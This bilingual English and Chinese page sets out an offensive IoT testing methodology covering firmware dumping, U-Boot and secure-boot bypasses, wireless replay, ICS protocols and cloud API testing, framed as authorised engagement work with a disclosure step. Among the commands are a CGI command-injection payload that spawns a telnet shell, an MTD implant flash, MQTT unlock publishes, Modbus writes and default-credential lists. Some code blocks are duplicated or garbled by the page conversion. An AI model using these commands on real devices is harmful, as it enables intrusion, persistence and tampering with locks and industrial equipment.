Back to Details

offensive-iot

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

IoT & Embedded — Offensive Testing Methodology

IoT 与嵌入式设备——攻击性测试方法论

Quick Workflow

快速工作流

  1. Recon the device physically — identify SoC, flash, debug interfaces, radios
  2. Get the firmware — vendor download, OTA capture, hardware dump, or chip-off
  3. Unpack and analyze — filesystems, services, secrets, default creds, vuln components
  4. Establish runtime access — UART shell, telnet/SSH default creds, exploit chain
  5. Pivot — to companion app, cloud API, neighboring devices via mesh / wireless
  1. 对设备进行物理侦察 — 识别 SoC、flash、debug 接口和 radio
  2. 获取 firmware — 从厂商门户下载、捕获 OTA、进行硬件转储或 chip-off
  3. 解包并分析 — 检查文件系统、服务、secrets、默认凭据和存在漏洞的组件
  4. 建立 runtime 访问权限 — UART shell、telnet/SSH 默认凭据、exploit chain
  5. Pivot — 通过 mesh / wireless 横向转移到 companion app、cloud API 和相邻设备

Hardware Reconnaissance

硬件侦察

PCB Inspection

PCB 检查

  • ID the SoC by markings (Realtek, Mediatek, Espressif, Broadcom, Allwinner, NXP, STM32, etc.)
  • ID flash (8-pin SOIC = SPI NOR; BGA = eMMC; TSOP = NAND)
  • Find debug headers: TX/RX/GND/VCC pads (UART), 4–10 pin (JTAG), 4 pin (SWD)
  • Find test points labeled 
    TX
    , 
    RX
    , 
    TCK
    , 
    TMS
    , 
    TDO
    , 
    TDI
    , 
    RST
    , 
    BOOT
  • 通过 markings 识别 SoC（Realtek、Mediatek、Espressif、Broadcom、Allwinner、NXP、STM32 等）
  • 识别 flash（8-pin SOIC = SPI NOR；BGA = eMMC；TSOP = NAND）
  • 查找 debug headers：TX/RX/GND/VCC pads（UART）、4–10 pin（JTAG）、4 pin（SWD）
  • 查找标有 
    TX
    、
    RX
    、
    TCK
    、
    TMS
    、
    TDO
    、
    TDI
    、
    RST
    、
    BOOT
    的 test points

Tools

工具

ToolUse
MultimeterIdentify GND, VCC rails before connecting
Logic analyzer (Saleae, DSLogic)Find UART baud, SPI clock, identify protocols
USB-UART (FT232, CP2102)UART console
Bus Pirate / GlasgowUART, SPI, I2C, JTAG generic
J-Link / Black Magic ProbeJTAG / SWD MCU debugging
CH341A programmerCheap SPI flash dumper
XGecu T48Modern universal programmer (NAND/eMMC/SPI)
ChipQuik / hot-airChip-off desolder
工具用途
Multimeter连接前识别 GND、VCC rails
Logic analyzer（Saleae、DSLogic）查找 UART baud、SPI clock，识别协议
USB-UART（FT232、CP2102）UART console
Bus Pirate / Glasgow通用的 UART、SPI、I2C、JTAG
J-Link / Black Magic ProbeJTAG / SWD MCU 调试
CH341A programmer低成本 SPI flash dumper
XGecu T48现代通用 programmer（NAND/eMMC/SPI）
ChipQuik / hot-airChip-off 脱焊

UART Discovery

UART 发现

bash
undefined
bash
undefined

Find baud rate

Find baud rate

for b in 9600 19200 38400 57600 115200 230400 460800 921600; do echo "=== $b ===" timeout 5 minicom -b $b -D /dev/ttyUSB0 -C uart_$b.log done grep -l -E "U-Boot|Linux|Bootloader|console|login" uart_*.log

Look for: U-Boot console (often `Hit any key` countdown), Linux init messages, root shell on console, login prompt.
for b in 9600 19200 38400 57600 115200 230400 460800 921600; do echo "=== $b ===" timeout 5 minicom -b $b -D /dev/ttyUSB0 -C uart_$b.log done grep -l -E "U-Boot|Linux|Bootloader|console|login" uart_*.log

查找：U-Boot console（通常有 `Hit any key` 倒计时）、Linux init 消息、console 上的 root shell、login prompt。

Bootloader Console Drop

获取 Bootloader Console 访问权限

undefined
undefined

At U-Boot countdown, mash space or key listed

At U-Boot countdown, mash space or key listed

Hit any key to stop autoboot: 0 => printenv # full env, often includes boot args => setenv bootargs ${bootargs} init=/bin/sh => boot # Linux comes up to root shell, no login

If U-Boot is locked, try:
- `CONFIG_DELAY_AUTOBOOT_KEYED` keyword (vendor-specific)
- `Ctrl+C` / `Ctrl+B` / specific magic strings
- Glitch the U-Boot version-check / signature-check (see Fault Injection)

---
Hit any key to stop autoboot: 0 => printenv # full env, often includes boot args => setenv bootargs ${bootargs} init=/bin/sh => boot # Linux comes up to root shell, no login

如果 U-Boot 已锁定，可尝试：
- `CONFIG_DELAY_AUTOBOOT_KEYED` keyword（取决于厂商）
- `Ctrl+C` / `Ctrl+B` / 特定 magic strings
- 对 U-Boot version-check / signature-check 进行 glitch（参见 Fault Injection）

---

Flash Dumping

Flash 转储

SPI NOR (most common consumer IoT)

SPI NOR（最常见的消费级 IoT）

bash
undefined
bash
undefined

In-circuit dump (hold SoC in reset to avoid bus contention)

In-circuit dump (hold SoC in reset to avoid bus contention)

flashrom -p ch341a_spi -r firmware.bin
flashrom -p ch341a_spi -r firmware.bin

Verify

Verify

file firmware.bin && binwalk firmware.bin

If the SoC fights you: desolder the SPI chip, dump in socket, re-solder.
file firmware.bin && binwalk firmware.bin

如果 SoC 阻止读取：脱焊 SPI 芯片，在 socket 中转储，然后重新焊接。

eMMC / NAND

eMMC / NAND

eMMC is desolder-then-read: BGA-153/169 to SD adapter (cheap eBay), use a USB SD reader.
NAND requires bit-flipping and ECC handling — 
nanddump
/
yaffshiv
/
ubireader
post-extraction.
eMMC 需要脱焊后读取：将 BGA-153/169 焊到 SD adapter（eBay 上的廉价方案），再使用 USB SD reader。
NAND 需要进行 bit-flipping 和 ECC 处理——使用 
nanddump
/
yaffshiv
/
ubireader
进行后提取。

OTA Capture

OTA 捕获

Many devices fetch firmware over HTTP(S). MITM the device:
bash
undefined
许多设备通过 HTTP(S) 获取 firmware。对设备进行 MITM：
bash
undefined

Captive AP + transparent proxy

Captive AP + transparent proxy

sudo create_ap wlan0 eth0 IoTLab mitmproxy --mode transparent --showhost --ssl-insecure
sudo create_ap wlan0 eth0 IoTLab mitmproxy --mode transparent --showhost --ssl-insecure

Or for non-SNI / pinning, use bettercap with custom DNS

Or for non-SNI / pinning, use bettercap with custom DNS


Capture the URL, download directly, dissect.

---

捕获 URL，直接下载并拆解分析。

---

Firmware Analysis

Firmware 分析

Initial Triage

初步分析

bash
binwalk -Me firmware.bin           # Extract recursively
binwalk -E firmware.bin            # Entropy plot — flat = encrypted/compressed
strings firmware.bin | grep -iE "(passwd|key|token|admin|http|ssid)"
bash
binwalk -Me firmware.bin           # Extract recursively
binwalk -E firmware.bin            # Entropy plot — flat = encrypted/compressed
strings firmware.bin | grep -iE "(passwd|key|token|admin|http|ssid)"

Filesystem Mounting

文件系统挂载

bash
undefined
bash
undefined

SquashFS (most consumer Linux IoT)

SquashFS (most consumer Linux IoT)

unsquashfs -d rootfs squashfs.bin
unsquashfs -d rootfs squashfs.bin

JFFS2 / UBIFS (NAND-backed)

JFFS2 / UBIFS (NAND-backed)

jefferson jffs2.bin -d rootfs ubireader_extract_files ubi.bin -o rootfs
undefined
jefferson jffs2.bin -d rootfs ubireader_extract_files ubi.bin -o rootfs
undefined

Embedded-Linux Quick Wins

嵌入式 Linux 快速突破

bash
undefined
bash
undefined

Hardcoded credentials and keys

Hardcoded credentials and keys

grep -RIE "(BEGIN (RSA |DSA |EC )?PRIVATE KEY|api[_-]?key|secret|token|passwd|root:[^])" rootfs/ find rootfs -name ".pem" -o -name "*.key" -o -name "shadow"
grep -RIE "(BEGIN (RSA |DSA |EC )?PRIVATE KEY|api[_-]?key|secret|token|passwd|root:[^])" rootfs/ find rootfs -name ".pem" -o -name "*.key" -o -name "shadow"

Telnet/SSH default creds

Telnet/SSH default creds

cat rootfs/etc/passwd rootfs/etc/shadow grep -r "telnetd" rootfs/etc/init.d grep -r "dropbear|sshd" rootfs/
cat rootfs/etc/passwd rootfs/etc/shadow grep -r "telnetd" rootfs/etc/init.d grep -r "dropbear|sshd" rootfs/

Setuid binaries

Setuid binaries

find rootfs -perm -4000 -type f
find rootfs -perm -4000 -type f

Vulnerable busybox / dropbear / openssl versions

Vulnerable busybox / dropbear / openssl versions

rootfs/bin/busybox 2>&1 | head -1 strings rootfs/sbin/dropbear | grep "Dropbear v" strings rootfs/usr/lib/libssl* | grep "OpenSSL "
rootfs/bin/busybox 2>&1 | head -1 strings rootfs/sbin/dropbear | grep "Dropbear v" strings rootfs/usr/lib/libssl* | grep "OpenSSL "

Web admin: lighttpd / mini_httpd / boa / GoAhead — known CVE goldmine

Web admin: lighttpd / mini_httpd / boa / GoAhead — known CVE goldmine

find rootfs -name "lighttpd*" -o -name "boa" -o -name "goahead" -o -name "mini_httpd"
undefined
find rootfs -name "lighttpd*" -o -name "boa" -o -name "goahead" -o -name "mini_httpd"
undefined

CGI / Web Admin Auditing

CGI / Web 管理界面审计

GoAhead, Boa, mini_httpd — abandoned codebases, command injection on every other CGI parameter.
bash
undefined
GoAhead、Boa、mini_httpd——这些代码库已废弃，几乎每个 CGI 参数都存在命令注入问题。
bash
undefined

Disassemble a CGI

Disassemble a CGI

file rootfs/www/cgi-bin/setup.cgi
file rootfs/www/cgi-bin/setup.cgi

Often plain ELF MIPS/ARM — analyze in Ghidra

Often plain ELF MIPS/ARM — analyze in Ghidra

ghidra-headlessAnalyzer -import rootfs/www/cgi-bin/setup.cgi

Common patterns:
- `system()` / `popen()` with concatenated query string args
- `sprintf` then `system` — easy command injection
- Auth check via comparing cookie to plaintext file (race / replay)

---
ghidra-headlessAnalyzer -import rootfs/www/cgi-bin/setup.cgi

常见模式：
- 使用拼接的 query string 参数调用 `system()` / `popen()`
- 先 `sprintf` 再 `system`——很容易造成命令注入
- 通过将 cookie 与 plaintext file 比较来执行 auth check（race / replay）

---

Runtime Exploitation

Runtime 利用

Console / Telnet Default Creds

Console / Telnet 默认凭据

Try (per device class): 
admin/admin
, 
root/root
, 
root/<empty>
, 
admin/password
, 
support/support
, 
cisco/cisco
, vendor brand as user/pass. Always try 
root/<serial number>
 — many vendors use a per-device default.
按设备类别尝试：
admin/admin
、
root/root
、
root/<empty>
、
admin/password
、
support/support
、
cisco/cisco
，以及将厂商品牌作为用户名/密码。务必尝试 
root/<serial number>
——许多厂商将其用作每台设备的默认密码。

Web Admin Command Injection

Web 管理界面命令注入

http
POST /goform/setSysAdm
Cookie: SESSIONID=...
admin_user=admin&admin_pwd=password;telnetd -l /bin/sh -p 4444;
http
POST /goform/setSysAdm
Cookie: SESSIONID=...
admin_user=admin&admin_pwd=password;telnetd -l /bin/sh -p 4444;

MTD Writes (re-flash from runtime)

MTD 写入（从 runtime 重新刷写）

If you have a root shell:
bash
cat /proc/mtd          # list partitions
mtd_debug erase /dev/mtd2 0 0x10000
mtd_debug write /dev/mtd2 0 0x10000 implant.bin
如果已获得 root shell：
bash
cat /proc/mtd          # list partitions
mtd_debug erase /dev/mtd2 0 0x10000
mtd_debug write /dev/mtd2 0 0x10000 implant.bin

/dev/mem

/dev/mem

On older kernels without 
CONFIG_STRICT_DEVMEM
, 
/dev/mem
is read/write to physical memory — full system compromise from any root context.
在未启用 
CONFIG_STRICT_DEVMEM
的旧 kernel 上，
/dev/mem
可读写物理内存——从任意 root context 均可完全控制系统。

Bootloader / Secure Boot Attacks

Bootloader / Secure Boot 攻击

U-Boot Quick Bypasses

U-Boot 快速绕过

  • setenv bootargs ${bootargs} init=/bin/sh
  • setenv preboot 'echo 1 > /sys/...'
    (run command before kernel)
  • tftpboot
    — load attacker kernel from network
  • bootm
    of a memory-resident image you 
    loadb
    -uploaded over UART
  • setenv bootargs ${bootargs} init=/bin/sh
  • setenv preboot 'echo 1 > /sys/...'
    （在内核启动前运行命令）
  • tftpboot
    — 从网络加载攻击者的 kernel
  • 对通过 UART 
    loadb
    上传到内存的 image 执行 
    bootm

Secure Boot

Secure Boot

Modern devices verify signed bootloaders / kernels. Bypass paths:
  • Downgrade: flash an older signed image with known kernel-level CVE
  • Rollback bypass: anti-rollback fuses not blown → flash older signed
  • Key extraction: dump the OTP / fuse contents via vendor tooling, recover signing key
  • Fault injection: glitch the signature-check instruction (see below)
现代设备会验证已签名的 bootloader / kernel。绕过路径：
  • 降级：刷入包含已知 kernel-level CVE 的较旧已签名 image
  • 回滚绕过：anti-rollback fuses 尚未烧断——刷入较旧的已签名 image
  • 密钥提取：通过厂商工具转储 OTP / fuse 内容，恢复签名密钥
  • 故障注入：对 signature-check 指令进行 glitch（参见下文）

Fault Injection (Voltage / Clock Glitching)

故障注入（电压 / 时钟 Glitching）

Tools: ChipWhisperer-Lite/Husky, PicoEMP, custom MOSFET crowbar
Target: NAND/eMMC bootrom signature check, U-Boot env-protection check, OTP read
Procedure:
  1. Locate target instruction window via UART timing or power trace
  2. Apply glitch (V drop / EM pulse) at that offset
  3. Sweep delay and width; success = corrupted check, accepted unsigned image
Tools: ChipWhisperer-Lite/Husky, PicoEMP, custom MOSFET crowbar
Target: NAND/eMMC bootrom signature check, U-Boot env-protection check, OTP read
Procedure:
  1. Locate target instruction window via UART timing or power trace
  2. Apply glitch (V drop / EM pulse) at that offset
  3. Sweep delay and width; success = corrupted check, accepted unsigned image

RTOS Targets

RTOS 目标

RTOSNotes
FreeRTOSSingle binary, no MMU often → stack overflow → straight RIP control
ZephyrMMU/MPU optional; verify isolation actually enabled
ThreadXMicrosoft now, mostly closed
MicroEJ / Mbed OSJava/C mix — type confusion and JNI bridges
ESP-IDF (Espressif)Wi-Fi/BLE stacks, OTA chain, secure boot v2
QNXOlder versions: pdebug shell on serial = root
RTOS说明
FreeRTOS单一 binary，通常无 MMU → stack overflow → 直接控制 RIP
ZephyrMMU/MPU 可选；验证隔离是否确实启用
ThreadX现属 Microsoft，基本闭源
MicroEJ / Mbed OSJava/C 混合——type confusion 和 JNI bridges
ESP-IDF（Espressif）Wi-Fi/BLE stacks、OTA chain、Secure Boot v2
QNX较旧版本：串行 pdebug shell = root

MCU Reverse Engineering

MCU 逆向工程

bash
undefined
bash
undefined

Read protected MCU via SWD / JTAG (if RDP not set)

Read protected MCU via SWD / JTAG (if RDP not set)

openocd -f interface/jlink.cfg -f target/stm32f4x.cfg
-c "init; halt; flash read_bank 0 fw.bin 0 0x100000; exit"
openocd -f interface/jlink.cfg -f target/stm32f4x.cfg
-c "init; halt; flash read_bank 0 fw.bin 0 0x100000; exit"

SAM-BA on Atmel SAM

SAM-BA on Atmel SAM

sam-ba -p \.\COM3 -d at91sam7s256 -a "read_flash(0,0x40000,fw.bin)"
sam-ba -p \.\COM3 -d at91sam7s256 -a "read_flash(0,0x40000,fw.bin)"

Ghidra / Binary Ninja with appropriate processor module (ARM Cortex-M, ESP32 Xtensa, AVR, MSP430)

Ghidra / Binary Ninja with appropriate processor module (ARM Cortex-M, ESP32 Xtensa, AVR, MSP430)


---

---

Wireless Protocols

无线协议

Bluetooth Low Energy (BLE)

Bluetooth Low Energy（BLE）

bash
undefined
bash
undefined

Discover and enumerate

Discover and enumerate

bettercap -eval "ble.recon on; events.show 60; ble.show"
bettercap -eval "ble.recon on; events.show 60; ble.show"

GATT introspection

GATT introspection

gatttool -b AA:BB:CC:DD:EE:FF -I
connect primary char-desc char-read-uuid <uuid> char-write-req <handle> <hex>

Attack surface: characteristic write without auth, pairing downgrade ("Just Works" forced), session key reuse, app-side TLS-equivalent missing.
gatttool -b AA:BB:CC:DD:EE:FF -I
connect primary char-desc char-read-uuid <uuid> char-write-req <handle> <hex>

可利用的攻击面：未经认证的 characteristic write、pairing downgrade（强制使用 “Just Works”）、session key 重用，以及应用侧缺少等效于 TLS 的保护。

Zigbee / Thread / Matter

Zigbee / Thread / Matter

bash
undefined
bash
undefined

Sniff with TI CC2531 / CC2540 / Sonoff Zigbee Dongle E

Sniff with TI CC2531 / CC2540 / Sonoff Zigbee Dongle E

zbstumbler -i 0 zbdump -c 11 -w zigbee.pcap
zbstumbler -i 0 zbdump -c 11 -w zigbee.pcap

KillerBee — replay, scapy-dot15d4 for fuzzing

KillerBee — replay, scapy-dot15d4 for fuzzing

zbreplay -f zigbee.pcap -i 0

Touchlink commissioning: known transport key in the wild (`0x9F559A553B7A6B2C…`) — many consumer devices accept Touchlink commissioning from any nearby radio.
zbreplay -f zigbee.pcap -i 0

Touchlink commissioning：现实环境中存在已知 transport key（`0x9F559A553B7A6B2C…`）——许多消费级设备允许附近任意 radio 进行 Touchlink commissioning。

Z-Wave

Z-Wave

S0 security uses fixed network-key derivation; S2 fixes this. Older bulbs / locks still on S0 are attackable with 
Z-Force
/ 
EZ-Wave
.
S0 security 使用固定的网络密钥派生；S2 修复了这个问题。仍使用 S0 的旧灯泡和门锁可利用 
Z-Force
/ 
EZ-Wave
攻击。

LoRaWAN

LoRaWAN

  • ABP-provisioned devices: keys flashed once and never rotated
  • Join-request replay if frame counters reset
  • LoRaPWN
    , 
    ChirpStack
    for analysis
  • ABP 配置的设备：密钥只写入一次且从不轮换
  • 帧计数器重置时可以重放 Join Request
  • 使用 
    LoRaPWN
    、
    ChirpStack
    进行分析

Sub-GHz (433 / 868 / 915 MHz)

Sub-GHz（433 / 868 / 915 MHz）

bash
undefined
bash
undefined

HackRF / RTL-SDR

HackRF / RTL-SDR

rtl_433 -f 433.92M -A # auto-decoder for many devices gqrx # interactive
rtl_433 -f 433.92M -A # auto-decoder for many devices gqrx # interactive

Capture, analyze in Inspectrum, replay with hackrf_transfer

Capture, analyze in Inspectrum, replay with hackrf_transfer


Targets: garage doors (KeeLoq rolling-code analysis), smart plugs (fixed code = easy replay), tire-pressure monitors (TPMS spoofing), industrial telemetry.

---

目标：车库门（KeeLoq rolling-code 分析）、智能插座（固定代码易于重放）、胎压监测系统（TPMS spoofing）、工业遥测。

---

ICS / OT Protocols

ICS / OT 协议

Modbus

Modbus

python
from pymodbus.client import ModbusTcpClient
c = ModbusTcpClient('10.0.0.5', port=502)
c.read_holding_registers(0, count=20, slave=1)
c.write_register(40, 1, slave=1)    # No auth in the protocol
python
from pymodbus.client import ModbusTcpClient
c = ModbusTcpClient('10.0.0.5', port=502)
c.read_holding_registers(0, count=20, slave=1)
c.write_register(40, 1, slave=1)    # No auth in the protocol

BACnet (Building Automation)

BACnet（楼宇自动化）

bash
undefined
bash
undefined

UDP/47808

UDP/47808

bacnet-stack/who-is 10.0.0.0/24
bacnet-stack/who-is 10.0.0.0/24

Read property without auth in many deployments

Read property without auth in many deployments

undefined
undefined

OPC-UA

OPC-UA

Modern OPC-UA has security profiles; many deployments use 
None
for compatibility. Test:
  • Anonymous browsing of address space (information disclosure)
  • Username/password endpoints with weak creds
  • Cert-based but with self-signed accepted
现代 OPC-UA 提供 security profiles；为兼容旧系统，许多部署使用 
None
。测试：
  • 匿名浏览 address space（信息泄露）
  • 使用弱凭据访问 username/password endpoints
  • 基于证书但接受 self-signed 证书

S7 (Siemens)

S7（Siemens）

Snap7 library; PLC start/stop, DB read/write commands historically unauthenticated. Stuxnet's surface.
使用 Snap7 library；PLC start/stop、DB read/write 命令过去通常没有身份验证。这正是 Stuxnet 的攻击面。

MQTT / CoAP

MQTT / CoAP

MQTT Anonymous Subscribe

MQTT 匿名订阅

bash
mosquitto_sub -h target.broker -t '#' -v
bash
mosquitto_sub -h target.broker -t '#' -v

# = wildcard, prints every retained message → secrets, sensor data, control topics

# = wildcard, prints every retained message → secrets, sensor data, control topics

mosquitto_pub -h target.broker -t cmd/lock/+/unlock -m '1'

Many cloud brokers don't restrict topic ACL by default — connect with empty creds, subscribe `#`, replay device commands.
mosquitto_pub -h target.broker -t cmd/lock/+/unlock -m '1'

许多 cloud broker 默认不限制 topic ACL——可以使用空凭据连接、订阅 `#` 并重放设备命令。

CoAP

CoAP

bash
coap-client -m get coap://device/.well-known/core
coap-client -m put coap://device/relay/0 -e '1'
DTLS often misconfigured (PSK in firmware, no rotation).
bash
coap-client -m get coap://device/.well-known/core
coap-client -m put coap://device/relay/0 -e '1'
DTLS 配置常常有误（PSK 位于 firmware 中且不轮换）。

Companion Mobile App / Cloud API

配套移动应用 / Cloud API

Most IoT vulns today live in the cloud + companion app pair, not the device itself.
bash
undefined
如今大多数 IoT 漏洞存在于 cloud + companion app 组合中，而不是设备本身。
bash
undefined

Decompile Android companion

Decompile Android companion

apktool d Vendor.apk -o app jadx -d app_src Vendor.apk
apktool d Vendor.apk -o app jadx -d app_src Vendor.apk

Look for: API base URL, signing keys, MQTT broker creds, device-claim flow

Look for: API base URL, signing keys, MQTT broker creds, device-claim flow

grep -rE "(api.vendor|broker|amazonaws|azure|firebase|s3.)" app_src/
grep -rE "(api\.vendor|broker|amazonaws|azure|firebase|s3\.)" app_src/

Patch SSL pinning (frida)

Patch SSL pinning (frida)

frida -U -l ssl-pin-bypass.js -f com.vendor.app

Test the cloud API for:
- Device claim by serial number alone (steal devices already shipped)
- IDOR on `/devices/<id>` endpoints
- Live-stream URLs without auth (RTSP / WebRTC tokens)
- Firmware signing endpoint accepting attacker-uploaded blobs (rare but devastating)

---
frida -U -l ssl-pin-bypass.js -f com.vendor.app

测试 cloud API：
- 仅凭序列号即可 claim device（窃取已出货设备）
- `/devices/<id>` endpoints 上存在 IDOR
- 实时流 URL 未做 auth（RTSP / WebRTC tokens）
- Firmware signing endpoint 接受攻击者上传的 blob（少见但破坏性极强）

---

Pivoting Across Devices

跨设备 Pivot

  • Compromise one device on the LAN → ARP/DHCP poison neighbors
  • Mesh-protocol bridges (Zigbee coordinator, Z-Wave hub) → adjacent device control
  • BLE central role swap → talk directly to peripherals as the legitimate hub
  • Cloud account compromise → all devices linked to the account simultaneously
  • 控制 LAN 上的一台设备 → 对邻居进行 ARP/DHCP poisoning
  • Mesh-protocol bridges（Zigbee coordinator、Z-Wave hub）→ 控制相邻设备
  • 切换 BLE central role → 以合法 hub 的身份直接与 peripheral 通信
  • 控制 cloud account → 同时控制关联到该账户的所有设备

Reporting Hooks

报告要点

For each finding capture:
  • Affected scope: model, firmware version, region, serial-number range if known
  • Reproducer: physical or remote, time-to-exploit
  • Pre-conditions: physical access? same network? authenticated cloud account?
  • Post-conditions: persistent? cross-device? cloud-side?
  • Vendor disclosure path: PSIRT contact, ICS-CERT, MITRE for CVE assignment
每项发现均记录：
  • 受影响范围：型号、firmware 版本、区域、已知序列号范围
  • 复现方法：物理或远程、利用耗时
  • 前置条件：需要物理访问？处于同一网络？拥有已认证的 cloud account？
  • 后置条件：具备持久化能力？能够跨设备？影响云端？
  • 厂商披露路径：PSIRT contact、ICS-CERT、MITRE for CVE assignment

Engagement Checklist

参与测试检查清单

[ ] Photo PCB top + bottom; identify SoC, flash, radios
[ ] Try UART at common bauds; capture boot log
[ ] Pull SPI flash; binwalk -Me; identify rootfs
[ ] Static review: creds, keys, vuln versions, CGI
[ ] Boot the device; map services on ports
[ ] Try default creds, web/CGI command injection
[ ] Capture OTA traffic; analyze update flow
[ ] Pair with companion app; intercept all traffic with TLS-bypass
[ ] Map cloud API surface; test IDOR and device-claim
[ ] For each radio: passive sniff, active probe, replay
[ ] Document CVE-eligible findings; coordinate vendor disclosure
[ ] Photo PCB top + bottom; identify SoC, flash, radios
[ ] Try UART at common bauds; capture boot log
[ ] Pull SPI flash; binwalk -Me; identify rootfs
[ ] Static review: creds, keys, vuln versions, CGI
[ ] Boot the device; map services on ports
[ ] Try default creds, web/CGI command injection
[ ] Capture OTA traffic; analyze update flow
[ ] Pair with companion app; intercept all traffic with TLS-bypass
[ ] Map cloud API surface; test IDOR and device-claim
[ ] For each radio: passive sniff, active probe, replay
[ ] Document CVE-eligible findings; coordinate vendor disclosure

Key References

主要参考资料